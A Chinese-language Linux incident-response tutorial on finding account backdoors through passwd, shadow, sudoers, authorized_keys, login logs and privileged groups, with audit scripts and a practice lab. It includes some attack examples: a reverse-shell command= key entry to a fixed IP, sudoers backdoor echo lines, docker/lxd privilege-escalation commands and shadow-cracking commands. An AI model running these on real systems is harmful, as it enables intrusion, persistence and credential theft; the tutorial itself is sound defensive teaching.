04-账户安全排查 (Account Security Investigation)
账户是攻击者持久化的核心目标。无论是创建后门用户、植入 SSH 公钥,还是修改 sudoers 配置,最终目的都是获得稳定的访问通道。本节系统性地讲解账户层面的排查方法。
前置知识 :01-系统基础与关键目录
关联章节 :10-SSH暴力破解与未授权访问 | 16-SSH-authorized_keys后门
1. /etc/passwd 异常检测 1.1 passwd 文件格式回顾 每行格式:用户名:密码占位:UID:GID:描述:家目录:登录Shell
示例:
1 2 root: x: 0 : 0 :root :/root :/bin/bash www-data: x: 33 : 33 :www-data :/var/www :/usr/sbin/nologin
字段
位置
说明
排查要点
用户名
第1字段
登录名
伪装名称检测
密码占位
第2字段
x 表示密码在 shadow
非 x 值需警惕
UID
第3字段
用户ID
UID=0 即 root 权限
GID
第4字段
主组ID
异常组归属
描述
第5字段
GECOS 信息
空或伪造
家目录
第6字段
用户主目录
异常路径
Shell
第7字段
登录 Shell
是否可交互
1.2 UID 0 账户排查 原理 :Linux 中 UID=0 的用户拥有完全的 root 权限,正常系统中只有 root 一个 UID 0 用户
排查命令 :
1 2 awk -F: '$3==0 {print $1}' /etc/passwd
正常输出 :应该只有 root
异常示例 :
如果出现 root 以外的 UID 0 用户,基本可以确认是后门账户
进一步排查 :
1 2 3 4 5 6 id toorlast toor ls -la /home/toor/ 2>/dev/null || ls -la /root/
1.3 异常 Shell 排查 原理 :大多数系统用户(daemon、www-data 等)不需要交互式 shell,它们的 shell 应该是 /usr/sbin/nologin 或 /bin/false
排查命令 :
1 2 awk -F: '$7~/bash|sh|zsh|fish|ksh|csh/ {print $1":"$3":"$6":"$7}' /etc/passwd
可登录 Shell 列表 (需要关注的):
/bin/bash
/bin/sh
/bin/zsh
/bin/fish
/bin/ksh
/bin/csh、/bin/tcsh
不可登录 Shell 列表 (安全的):
/usr/sbin/nologin
/bin/false
/sbin/nologin(CentOS)
正常拥有 bash 的用户 (参考,具体视系统而定):
1 2 root - UID 0 实际管理员账户 - 如 admin, ubuntu, centos
可疑情况 :
1 2 3 4 cat /etc/shellsawk -F: '$7!="/usr/sbin/nologin" && $7!="/bin/false" && $7!="/sbin/nologin" {print $1, $7}' /etc/passwd
1.4 用户名伪装检测 攻击者常用的伪装手法:
伪装类型
示例
排查方法
类似 root
r00t, ro0t, root2
人工审查
类似系统用户
sysupdate, systemd-update, kworker
对比默认用户列表
末尾空格
root , admin
awk -F: '$1~/\s/' /etc/passwd
开头点号
.hidden
awk -F: '$1~/^\./' /etc/passwd
超长用户名
包含大量空格使其在 ps 中看不见
检查长度
模仿服务
mysql1, nginx2, redis
对比 rpm/dpkg 创建的用户
全面检测脚本 :
1 2 3 4 5 6 7 8 awk -F: '{if($1 ~ /:space:/ || $1 ~ /^\./) print "可疑用户名: "$1}' /etc/passwd awk -F: '{ if($1 ~ /^r[o0]{2}t$|^adm[i1]n$|^sys(update|backup|monitor)$/) print "疑似伪装用户: "$0 }' /etc/passwd
1.5 对比系统默认用户列表 Ubuntu/Debian 方法 :
1 2 3 4 5 6 dpkg -S /etc/passwd 2>/dev/null awk -F: '$3>=1000 && $3!=65534 {print $1, $3, $7}' /etc/passwd
CentOS/RHEL 方法 :
1 2 awk -F: '$3>=1000 && $3!=65534 {print $1, $3, $7}' /etc/passwd
关键排查逻辑 :新增的 UID >= 1000 且有登录 shell 的用户,如果不是管理员主动创建的,很可能是后门账户
2. /etc/shadow 异常检测 2.1 shadow 文件格式 格式:用户名:密码哈希:最后修改日期:最小天数:最大天数:警告天数:过期天数:账户过期日:保留
字段
说明
示例
$1
用户名
root
$2
密码哈希
$6$salt$hash...
$3
最后修改日期(从1970.1.1起的天数)
19500
$4
密码最小使用天数
0
$5
密码最大使用天数
99999
$6
密码过期警告天数
7
$7
密码过期后宽限天数
(空)
$8
账户过期日
(空)
密码哈希格式 :
1 2 3 4 5 $算 法ID $盐 值$哈 希值$1 $ → MD5 (极不安全,已淘汰)$5 $ → SHA -256 $6 $ → SHA -512 (当前主流)$y $ → yescrypt(较新发行版如 Ubuntu 22.04 +)
2.2 空密码检测 原理 :空密码用户可以直接无密码登录(如果 PAM 允许),这是严重的安全隐患
排查命令 :
1 2 3 4 5 6 7 8 9 10 11 12 awk -F: '$2=="" {print $1" 存在空密码!"}' /etc/shadow awk -F: '{ if ($2 == "") print $1" -> 空密码(危险!)" else if ($2 == "*") print $1" -> 禁用密码登录" else if ($2 == "!") print $1" -> 锁定账户" else if ($2 == "!!") print $1" -> 从未设置密码" else if ($2 ~ /^\$/) print $1" -> 有密码哈希" else print $1" -> 异常密码字段: "$2 }' /etc/shadow
注意区分 :
空字符串 "" → 空密码,可直接登录(危险)
* → 密码登录被禁用(正常,系统用户常见)
! 或 !! → 账户被锁定或从未设置密码(正常)
!$6$... → 密码前加了 ! 表示账户被锁定但密码仍在
2.3 密码哈希分析 可疑哈希特征 :
1 2 3 4 5 6 7 awk -F: '$2~/^\$1\$/ {print $1" 使用 MD5 哈希(弱)"}' /etc/shadow awk -F: '$2!="" && $2!="*" && $2!="!" && $2!="!!" && $2!~/^\$[156y]\$/ && $2!~/^!?\$[156y]\$/ { print $1" 密码哈希格式异常: "$2 }' /etc/shadow
已知弱密码检测 (如果拿到了哈希):
1 2 3 4 5 john --wordlist=/usr/share/wordlists/rockyou.txt /etc/shadow hashcat -m 1800 shadow_hashes.txt wordlist.txt
2.4 密码修改时间分析 原理 :shadow 第 3 字段记录密码最后修改时间(距 1970-01-01 的天数),异常的修改时间可能表明攻击者修改了密码
排查命令 :
1 2 3 4 5 6 7 awk -F: '$3!="" && $3!="*" { cmd="date -d @$(("$3"*86400)) +%Y-%m-%d 2>/dev/null" cmd | getline date close(cmd) if($3 > 0) printf "%-20s 密码修改日期: %s (第%s天)\n", $1, date, $3 }' /etc/shadow
macOS/BSD 系统上用 GNU date 或 Python 辅助转换 :
1 2 3 4 5 awk -F: '$3!="" && $3!="*" && $3>0 {print $1, $3}' /etc/shadow | while read user days; do date =$(python3 -c "import datetime; print(datetime.date.fromtimestamp($days *86400))" 2>/dev/null) echo "$user -> 密码修改日期: $date " done
关注重点 :密码修改时间集中在某个异常时间段(如凌晨 3 点、节假日),可能是攻击者批量操作
2.5 账户锁定状态排查 1 2 3 4 5 6 7 8 9 10 for user in $(awk -F: '$7~/bash|sh/ {print $1}' /etc/passwd); do status=$(passwd -S $user 2>/dev/null | awk '{print $2}' ) echo "$user : $status " done chage -l username
3. sudoers 审计 3.1 sudoers 文件体系
文件/目录
说明
/etc/sudoers
主配置文件
/etc/sudoers.d/
附加配置目录(文件会被自动包含)
/etc/sudoers.d/README
说明文件(通常无害)
注意 :/etc/sudoers.d/ 下的文件同样具有完全的 sudoers 配置能力,攻击者经常在这里藏后门
3.2 排查命令 1 2 3 4 5 6 7 8 9 10 11 12 cat /etc/sudoersls -la /etc/sudoers.d/cat /etc/sudoers.d/*visudo -c sudo -l
3.3 危险配置识别 NOPASSWD 配置 :
1 2 grep -rn "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null
危险配置示例及分析 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 hacker ALL =(ALL ) NOPASSWD: ALL user1 ALL =(ALL ) NOPASSWD: /usr/bin/vi, /usr/bin/vimuser2 ALL =(ALL ) NOPASSWD: /bin/bash, /bin/shuser3 ALL =(user4) NOPASSWD: ALL Defaults env_keep += "LD_PRELOAD"
3.4 攻击者常用的 sudoers 后门写法 方式1:直接添加 NOPASSWD ALL
1 2 3 echo "backdoor ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoersecho "backdoor ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/.hidden
方式2:利用 sudoers.d 的隐藏文件
1 2 3 4 ls -la /etc/sudoers.d/find /etc/sudoers.d/ -name ".*" -type f
方式3:修改已有规则
1 2 3 4 stat /etc/sudoersstat /etc/sudoers.d/*
方式4:利用通配符
1 2 3 4 # 看似限制了命令,实际可以提权 user ALL=(ALL) NOPASSWD: /usr/bin/find * # find 可以通过 -exec 执行任意命令 # sudo find . -exec /bin/bash \;
3.5 完整审计脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 echo "=== sudoers 审计 ===" echo "[1] 检查 NOPASSWD 配置:" grep -rn "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null echo -e "\n[2] 检查 sudoers.d 隐藏文件:" find /etc/sudoers.d/ -name ".*" -type f -ls 2>/dev/null echo -e "\n[3] sudoers.d 文件修改时间:" ls -la --time =ctime /etc/sudoers /etc/sudoers.d/* 2>/dev/nullecho -e "\n[4] 语法检查:" visudo -c 2>&1 echo -e "\n[5] 检查 ALL=(ALL) 配置:" grep -rn "ALL=(ALL)" /etc/sudoers /etc/sudoers.d/ 2>/dev/null echo -e "\n[6] 检查 env_keep 中的危险变量:" grep -rn "env_keep" /etc/sudoers /etc/sudoers.d/ 2>/dev/null | grep -i "LD_PRELOAD\|LD_LIBRARY_PATH\|PYTHONPATH"
4. SSH authorized_keys 全面排查 4.1 authorized_keys 文件位置 默认路径 :~/.ssh/authorized_keys
注意 :SSH 配置中可能自定义了路径
1 2 3 grep -i "AuthorizedKeysFile" /etc/ssh/sshd_config
排查所有用户 :
1 2 3 4 5 6 7 8 9 10 11 while IFS=: read -r user _ _ _ _ home shell; do if "$shell " != */nologin && "$shell " != */false ; then keyfile="$home /.ssh/authorized_keys" if [ -f "$keyfile " ]; then echo "=== $user ($keyfile ) ===" cat "$keyfile " echo "" fi fi done < /etc/passwd
4.2 authorized_keys 格式与危险选项 标准格式 :
1 [options] key -type base64-key comment
危险选项分析 :
选项
说明
危险等级
command="..."
连接时强制执行指定命令
高 - 可用于后门
from="..."
限制来源 IP
低 - 反而是安全措施
no-pty
禁止分配终端
低
environment="..."
设置环境变量
中 - 可设置 LD_PRELOAD
permit-open="..."
限制端口转发目标
低
no-agent-forwarding
禁止代理转发
低
危险 authorized_keys 示例 :
1 2 3 4 5 6 7 8 9 10 11 ssh-rsa AAAAB3NzaC1yc2EAAA... admin@workstation command ="/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" ssh-rsa AAAAB3NzaC1yc2EAAA... environment="LD_PRELOAD=/tmp/.evil.so" ssh-rsa AAAAB3NzaC1yc2EAAA... ssh-rsa AAAAB3NzaC1yc2EAAA...
排查危险选项 :
1 2 3 4 5 6 7 8 9 10 11 12 13 find / -name "authorized_keys*" -exec grep -l "command=" {} \; 2>/dev/null find / -name "authorized_keys*" -exec grep -l "environment=" {} \; 2>/dev/null find / -name "authorized_keys*" -exec grep -n "^ssh-" {} \; 2>/dev/null | while read line; do fields=$(echo "$line " | awk '{print NF}' ) if [ "$fields " -lt 3 ]; then echo "无注释的公钥: $line " fi done
4.3 权限检查 SSH 对文件权限有严格要求,但攻击者可能故意放宽权限
1 2 3 4 5 6 7 find /home -name ".ssh" -type d -exec ls -ld {} \; 2>/dev/null find /home -name "authorized_keys" -exec ls -la {} \; 2>/dev/null ls -ld /root/.ssh 2>/dev/nullls -la /root/.ssh/authorized_keys 2>/dev/null
正确权限 :
.ssh/ 目录:700(drwx——)
authorized_keys:600(-rw——-)
所有者必须是对应用户
异常权限示例 :
1 2 3 4 -rw-rw-rw- 1 root root 400 Jan 1 03:00 /root/.ssh/authorized_keys -rw------- 1 www-data root 400 Jan 1 03:00 /home/admin/.ssh/authorized_keys
4.4 与合法密钥的区分 1 2 3 4 5 6 7 8 find / -name "authorized_keys*" -exec ssh-keygen -l -f {} \; 2>/dev/null find / -name "authorized_keys*" -exec grep -c "ssh-dss" {} \; 2>/dev/null
更多详情 请参考:16-SSH-authorized_keys后门
5. 登录记录分析 5.1 核心日志文件
文件
说明
查看命令
/var/log/wtmp
成功登录记录(二进制)
last
/var/log/btmp
失败登录记录(二进制)
lastb
/var/log/lastlog
每个用户最后登录时间(二进制)
lastlog
/var/run/utmp
当前登录用户(二进制)
who, w
/var/log/auth.log
认证日志(Ubuntu/Debian)
cat/grep
/var/log/secure
认证日志(CentOS/RHEL)
cat/grep
5.2 last 命令详解 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 last last root last -s 2026-03-01 -t 2026-04-01 last -i last -d last -n 20 last reboot last shutdown
输出解读 :
1 2 3 root pts/0 192.168.1.100 Thu Mar 28 14 :23 still logged inadmin pts/1 10.0.0.50 Thu Mar 28 10 :15 - 11 :30 (01 :15 )root tty1 Wed Mar 27 09 :00 - down (08 :00 )
字段
说明
用户名
登录用户
终端
pts/N=远程, tty=本地控制台
IP/主机名
来源地址
登录时间
开始时间
登出时间
结束时间或 still logged in
持续时间
会话时长
5.3 lastb 命令(失败登录) 1 2 3 4 5 6 7 8 sudo lastbsudo lastb | awk '{print $3}' | sort | uniq -c | sort -rn | head -20sudo lastb | awk '{print $1}' | sort | uniq -c | sort -rn | head -20
关联章节 :大量失败登录通常意味着暴力破解,详见 10-SSH暴力破解与未授权访问
5.4 lastlog 命令 1 2 3 4 5 6 7 8 lastlog lastlog | grep -v "Never logged in" lastlog -u username
排查要点 :关注”从未应该登录”的系统用户是否有登录记录
5.5 utmpdump 分析 1 2 3 4 5 6 7 8 utmpdump /var/log/wtmp utmpdump /var/log/btmp
type 字段含义 :
[7] = USER_PROCESS(用户登录)
[8] = DEAD_PROCESS(用户登出)
[2] = BOOT_TIME(系统启动)
[1] = RUN_LVL(运行级别变化)
用途 :当 last 命令的输出被篡改时,utmpdump 可以看到更底层的原始数据
5.6 who 和 w 命令
排查要点 :
不认识的用户正在登录?
异常的来源 IP?
异常时间的登录(凌晨)?
WHAT 列是否有可疑命令?
5.7 auth.log / secure 日志分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 AUTHLOG="/var/log/auth.log" [ -f "/var/log/secure" ] && AUTHLOG="/var/log/secure" grep "Accepted" $AUTHLOG | tail -20 grep "Failed password" $AUTHLOG | tail -20 grep "Accepted publickey" $AUTHLOG grep "su:" $AUTHLOG grep "sudo:" $AUTHLOG grep "useradd\|adduser" $AUTHLOG grep "passwd\|chpasswd" $AUTHLOG grep "sshd.*session opened\|Accepted" $AUTHLOG | awk '{print $1,$2,$3,$9,$11}' | sort -u
时间线分析 :
1 2 3 4 5 grep "Failed password" $AUTHLOG | awk '{print $1,$2,substr($3,1,2)":00"}' | sort | uniq -c | sort -rn grep "Failed password" $AUTHLOG | grep -oP 'from \K[\d.]+' | sort | uniq -c | sort -rn | head -20
6. 用户组与权限排查 6.1 特权组检测 需要关注的特权组 :
组名
能力
危险等级
root
root 组
极高
sudo (Ubuntu)
可执行 sudo
极高
wheel (CentOS)
可执行 sudo
极高
docker
可运行 docker(等同 root)
极高
lxd
可运行 lxd(等同 root)
极高
adm
可读系统日志
中
disk
可直接访问磁盘设备
高
shadow
可读 /etc/shadow
高
排查命令 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for group in root sudo wheel docker lxd adm disk shadow; do members=$(grep "^${group} :" /etc/group 2>/dev/null | cut -d: -f4) if [ -n "$members " ]; then echo "$group 组成员: $members " fi done id usernamefor user in $(awk -F: '$7~/bash|sh/ {print $1}' /etc/passwd); do echo "$user : $(id -Gn $user 2>/dev/null) " done
6.2 Docker 组提权 原理 :docker 组的用户可以运行 docker 命令,而 docker 可以挂载宿主机的任意目录
提权方法 (攻击者视角):
1 2 3 4 5 6 7 8 docker run -v /:/mnt --rm -it alpine chroot /mnt sh docker run -v /etc/shadow:/tmp/shadow --rm alpine cat /tmp/shadow docker run -v /root/.ssh:/tmp/.ssh --rm alpine sh -c 'echo "attacker-key" >> /tmp/.ssh/authorized_keys'
排查 :
1 2 3 4 5 grep "^docker:" /etc/group ls -la /var/run/docker.sock
6.3 lxd 组提权 原理 :类似 docker,lxd 用户可以创建特权容器挂载宿主文件系统
提权方法 :
1 2 3 4 5 6 7 8 9 lxd init --auto lxc init ubuntu:22.04 exploit -c security.privileged=true lxc config device add exploit host-root disk source =/ path=/mnt/root recursive=true lxc start exploit lxc exec exploit -- /bin/bash
排查 :
1 2 3 grep "^lxd:" /etc/group lxc list 2>/dev/null
6.4 /etc/group 文件审计 1 2 3 4 5 6 7 8 awk -F: '$3==0' /etc/group awk -F: '$3>=1000' /etc/group awk -F: '$1~/:space:|^\./' /etc/group
7. 实战案例 7.1 完整案例:从发现异常登录到追踪后门用户 场景描述 :安全设备告警发现服务器 192.168.1.10 在凌晨 3:00 有异常外连行为,需要进行账户层面排查
Step 1:检查当前登录用户
Step 2:排查该用户信息
1 2 3 4 5 6 7 8 9 id sysupdategrep sysupdate /etc/passwd ls -ld /home/sysupdate
Step 3:检查登录历史
Step 4:检查该用户的 SSH 密钥
1 2 cat /home/sysupdate/.ssh/authorized_keys
Step 5:检查 sudoers 后门
1 2 cat /etc/sudoers.d/.sysupdate
Step 6:检查是否还有其他后门
1 2 3 4 5 6 7 8 9 10 11 12 awk -F: '$3==0' /etc/passwd awk -F: '$2==""' /etc/shadow find / -name "authorized_keys" -exec ls -la {} \; 2>/dev/null
Step 7:查看入侵时间线
1 2 3 4 grep -E "useradd|adduser|usermod" /var/log/auth.log
总结发现 :
后门用户1:sysupdate(UID 1001,sudo 组,NOPASSWD,SSH 公钥)
后门用户2:r00t(UID 0,完全的 root 权限)
root 的 authorized_keys 被植入攻击者公钥
入侵时间:3月25日 02:55
攻击者 IP:45.xx.xx.xx
7.2 一键用户审计脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 #!/bin/bash echo "==========================================" echo " Linux 用户安全审计脚本" echo " 执行时间: $(date) " echo "==========================================" echo -e "\n[1] UID 为 0 的用户(应只有 root):" awk -F: '$3==0 {print " "$1" (UID:"$3")"}' /etc/passwd echo -e "\n[2] 拥有登录 Shell 的用户:" awk -F: '$7~/bash|sh|zsh|fish/ {printf " %-20s UID:%-6s Shell:%s\n", $1, $3, $7}' /etc/passwd echo -e "\n[3] 空密码用户:" result=$(awk -F: '$2=="" {print " "$1}' /etc/shadow 2>/dev/null) [ -z "$result " ] && echo " (无)" || echo "$result " echo -e "\n[4] 密码状态异常的用户:" awk -F: '{ if ($2 == "") printf " %-20s -> 空密码(危险!)\n", $1 }' /etc/shadow 2>/dev/nullecho -e "\n[5] sudoers NOPASSWD 配置:" result=$(grep -rn "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null | grep -v "^#" ) [ -z "$result " ] && echo " (无)" || echo " $result " echo -e "\n[6] sudoers.d 隐藏文件:" result=$(find /etc/sudoers.d/ -name ".*" -type f -ls 2>/dev/null) [ -z "$result " ] && echo " (无)" || echo " $result " echo -e "\n[7] SSH authorized_keys 排查:" while IFS=: read -r user _ _ _ _ home shell; do if "$shell " != */nologin && "$shell " != */false && "$shell " != */sync ; then keyfile="$home /.ssh/authorized_keys" if [ -f "$keyfile " ]; then count=$(wc -l < "$keyfile " ) has_cmd=$(grep -c "command=" "$keyfile " 2>/dev/null) echo " $user : $keyfile ($count 个密钥, command= 选项: $has_cmd 个)" fi fi done < /etc/passwdecho -e "\n[8] 特权组成员:" for group in root sudo wheel docker lxd adm disk shadow; do members=$(grep "^${group} :" /etc/group 2>/dev/null | cut -d: -f4) if [ -n "$members " ]; then echo " $group : $members " fi done echo -e "\n[9] 最近登录记录(最近10条):" last -n 10 | head -12 echo -e "\n[10] 最近失败登录(最近10条):" lastb -n 10 2>/dev/null | head -12 echo -e "\n[11] 当前在线用户:" w echo -e "\n[12] 最近的用户创建/修改操作:" AUTHLOG="/var/log/auth.log" [ -f "/var/log/secure" ] && AUTHLOG="/var/log/secure" grep -E "useradd|adduser|usermod|userdel|passwd|chpasswd" "$AUTHLOG " 2>/dev/null | tail -20 echo -e "\n==========================================" echo " 审计完成" echo "=========================================="
7.3 练习:Docker 实验中发现隐藏的后门账户 实验目标 :在提供的 Docker 环境中找出 3 个隐藏的后门账户
实验环境搭建 :
1 2 docker run -it --name ir-lab-04 ir-practice:account-backdoor /bin/bash
练习提示 :
后门1:检查 UID 为 0 的用户
后门2:检查 /etc/sudoers.d/ 下的隐藏文件
后门3:检查所有用户的 authorized_keys 中的 command= 选项
验证清单 :
[ ] 找到所有后门用户名
[ ] 确定每个后门的创建时间
[ ] 确定攻击者的来源 IP
[ ] 确定攻击者使用的持久化手法
[ ] 清除所有后门(删除用户、密钥、sudoers 配置)
7.4 清除后门的标准操作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 pkill -u sysupdate pkill -KILL -u sysupdate usermod -L sysupdate usermod -s /usr/sbin/nologin sysupdate rm /etc/sudoers.d/.sysupdatevisudo -c cp /root/.ssh/authorized_keys /tmp/evidence/vim /root/.ssh/authorized_keys passwd root
注意 :在真实应急响应中,清除操作应在取证完成之后进行。优先保全证据,其次才是清除威胁。
8. 总结与排查流程图 账户安全排查标准流程 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 1. 检查当前在线用户 (w / who ) ↓ 2. UID 0 用户排查 (awk /etc/passwd) ↓ 3. 异常 Shell 用户排查 ↓ 4. 空密码 / 弱密码检测 (/etc/shadow) ↓ 5. sudoers 审计 (含 sudoers.d) ↓ 6. SSH authorized_keys 排查 ↓ 7. 特权组成员排查 (docker/lxd/sudo) ↓ 8. 登录记录分析 (last/lastb/auth.log) ↓ 9. 时间线汇总,确定入侵路径
关键命令速查 :
排查项目
命令
UID 0 用户
awk -F: '$3==0' /etc/passwd
可登录 Shell
awk -F: '$7~/bash|sh/' /etc/passwd
空密码
awk -F: '$2==""' /etc/shadow
NOPASSWD sudo
grep -rn NOPASSWD /etc/sudoers*
SSH 公钥
find / -name authorized_keys -exec cat {} \;
当前登录
w
登录历史
last
失败登录
lastb
用户创建日志
grep useradd /var/log/auth.log
下一步学习 :05-进程与网络分析